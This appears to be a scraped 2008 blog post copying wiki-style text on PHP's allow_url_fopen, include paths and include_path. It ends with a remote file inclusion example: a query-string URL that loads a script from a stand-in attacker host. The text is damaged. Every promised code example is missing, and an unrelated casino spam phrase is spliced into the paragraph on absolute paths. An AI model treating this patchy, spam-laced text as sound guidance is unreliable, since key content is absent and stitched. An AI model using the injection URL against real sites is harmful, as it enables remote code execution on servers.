PHP fopen function

Published by exdone

Posted on February 20, 2008

Allow url fopen
Server-Side Includes
Many developers include files by pointing to a remote URL, even if the file is within the local system. For example:

With allow_url_fopen disabled, this method will not work. Instead, the file must be included with a local path, and there are three methods of doing this:

By using a relative path, such as ../includes/example_include.php.
By using an absolute path (also known as relative-from-root), such as /home/username/example.com/includes/example_include.php. more detailed information relating to grace of cleopatra spielautomat.
By using the PHP environment variable $_SERVER[‘DOCUMENT_ROOT’], which returns the absolute path to the web root directory. This is by far the best (and most portable) solution. The example that follows shows the environment variable in action:

[edit] Example Include

[edit] Processing Differences (and passing variables to an included file)
It is worth mentioning that the alternative solutions presented here will result in a difference in the way the include() function is handled. The alternative solutions all return the PHP code from the included page; however, the now-unavailable remote URL method returns the result from the included page. One result of this behavior is that you cannot pass a query string using the alternative solutions. You define the variables locally before performing the include:

[edit] Example
To achieve the effect of this:

You must instead use this:

[edit] Adding Flexibility
For maximum flexibility (when multiple includes are required, for example), it may be easier to create a variable:

Note: The technique works in the same way, regardless of whether you are using include() or require().

[edit] Setting the include_path
You can also explicitly set the PHP directive, “include_path”, on the fly.

[edit] Example exploitation
A common use of server-side includes is for creating some sort of site template. Often, a single page with a header and a footer is fed differing content by using a query string. Here is a typical example script:

header…

footer…


The content of the page can be varied by appending a query string to the URL:

http://example.com/index.php?page=varied.php
If allow_url_fopen is enabled, this system can be exploited by simply changing the value of the variable in the query string:

http://example.com/index.php?page=http://crackerscum.net/evilscript.txt

Categories: PHP